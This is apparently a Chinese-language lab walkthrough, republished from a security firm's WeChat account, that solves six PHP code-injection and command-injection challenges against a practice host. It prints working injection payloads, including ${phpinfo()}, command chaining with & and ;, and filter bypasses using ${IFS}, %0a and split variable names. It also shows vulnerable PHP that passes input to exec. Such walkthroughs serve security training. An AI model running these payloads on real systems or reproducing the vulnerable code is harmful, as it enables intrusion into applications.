1
1.1.1 code_injection
提示:代码执行漏洞,phpinfo中有个FLAG
tips:有个简单的过滤,需要绕过一下
特殊组合、双引号二次解析
单引号与双引号的区别,双引号内的数据会被解析,单引号就是纯字符串。
在php5.5以上的版本中,直接双引号中嵌套“${phpinfo()} ”就会形成代码执行漏洞。
当我们可以控制双引号的内容时,并且被保存到服务器的一个文件中,
当能够控制某个地方的双引号,就可以命令执行复杂语法“${phpinfo()}”;
分析:
http://172.16.1.5:49157/?name=${phpinfo()}
源码:index.php
参考:
https://blog.csdn.net/weixin_46865273/article/details/116941786
2
1.1.2 os_injection
提示:这是一个没有任何过滤的命令执行漏洞靶机
分析:
尝试 172.16.1.5 & ls,可以发现flag。
172.16.1.5 & ls flag 发现flag文件。
读取出flag内容 172.16.1.5;cd flag; cat flag159951.txt
源码:index.php
3
1.1.3 filter_cat
提示:命令执行漏洞,过滤了cat命令
你有办法读到flag吗?
代替cat
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
分析:
172.16.1.5 & ls
172.16.1.5 & ls flag
用head 、more、tail等命令来代替cat命令。
172.16.1.5 ;cd flag; head flag852456.txt
172.16.1.5 ;cd flag;tail flag852456.txt
172.16.1.5 ;cd flag; more flag852456.txt
源码:
4
1.1.4 filter_directory_separator
提示:当命令执行漏洞,过滤了目录分隔符
你有办法读取到你想要的文件吗?
Linux系统支持的管道符如下:
“;”:执行完前面的语句再执行后面的语句。
“|”:显示后面语句的执行结果。
“||”:当前面的语句执行出错时,执行后面的语句。
“&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
“&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
172.16.1.5 & cd flag ;cat flag357951.txt
5
1.1.5 filter_space
提示:这里有个命令执行漏洞
但是空格被过滤了,该怎么利用呢?
绕过空格的几种方法:
$IFS${IFS}$IFS$1 //$1改成$加其他数字貌似都行$IFS$9 (Ubuntu下测试通过)后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09
用${IFS}代替
172.16.1.5;ls
用${IFS}代替空格,试的此靶场唯一可用。
172.16.1.5&ls${IFS}flag
172.16.1.5;cd${IFS}flag;cat${IFS}flag294861.txt
172.16.1.5;cat$IFS$9index.php
源码:
6
1.1.6 filter_operator
提示:命令执行漏洞,过滤了运算符怎么办 综合过滤
分析:
过滤:/(||&|;| |/|cat|flag)/
利用%0a绕过 & ; | || 。因为%0a是url编码,所以一定要输在url中,否则%0a会被再次编码。
${IFS}绕过空格。
fla* 不用知道flag的具体名字。
a=c;b=at;a${a}${b} ,head,more等 绕过cat。
172.0.0.1%0acd${IFS}fla*%0aa=c%0ab=at%0a${a}${b}${IFS}fla*
源码:
<?phpheader("Access-Control-Allow-Origin: *");//设置允许跨域,用来判断题目环境是否开启$res=0;if (isset($_GET['ip']) && $_GET['ip']) { $ip = $_GET['ip']; $m=[]; if (!preg_match_all("/(||&|;| |/|cat|flag)/", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd,$res); }else{ $res=$m; } if ($res) { print_r($res); }}
关注路劲科技,关注网络安全!
北京路劲科技有限公司
网址:www.lujinsec.com
北京市昌平区南邵镇双营西路78号院2号楼5层504
本文始发于微信公众号(LSCteam):RCE远程命令执行和远程代码执行
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论